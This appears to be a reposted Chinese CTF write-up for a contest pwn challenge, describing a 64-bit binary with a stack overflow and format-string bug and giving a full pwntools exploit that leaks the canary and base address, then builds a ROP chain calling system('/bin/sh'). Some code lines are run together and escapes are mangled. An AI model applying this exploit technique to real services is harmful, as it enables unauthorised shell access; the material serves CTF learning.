概述
拟态第一题PWN1,首先正常扔进终端分析:64位,除了RELRP开启了一部分外,其余保护机制都开了。
接着来IDA看一看
观察旁边的函数发现居然有system,接着发现了“/bin/shx00”
Main函数的逻辑比较简单,分析然后进入func函数,发现两漏洞利用点:
显然栈溢出+格式化字符串漏洞:
思路如下:
泄露canary以及程序基础地址,计算相关地址,而后控制执行流来个简单的64位函数调用:
system(“/bin/shx00”)。
这里这个泄露程序基地址快把哥人搞傻了,gdb上明明是第43个,结果远程连接确实第45个,果然拟态。
from pwn import*
#p=remote('172.52.61.160',9999)
context.log_level="debug"
p=process('./123')payload="%33$p%45$p"
p.sendlineafter("something",'2')
p.sendlineafter("hello",payload)
canary = int(p.recvuntil('00'),16)
base =int(p.recvuntil("n")[:-1],16)-0xb54binsh_ = base+0x202068
#system_= base+0x202030
system_= base +0x0a2c
p_rdi=base+0xc73print("canary: ")
print(hex(canary))
print("base:")
print(hex(base))
payload2='a'*0xc8+p64(canary)+"abcdline"+p64(p_rdi)+p64(binsh_)+p64(system_)
p.sendline(payload2)p.interactive()
最后
以上就是虚拟小海豚为你收集整理的第五届“强网”拟态防御之PWN1与近段时间对unlink的理解的全部内容,希望文章能够帮你解决第五届“强网”拟态防御之PWN1与近段时间对unlink的理解所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复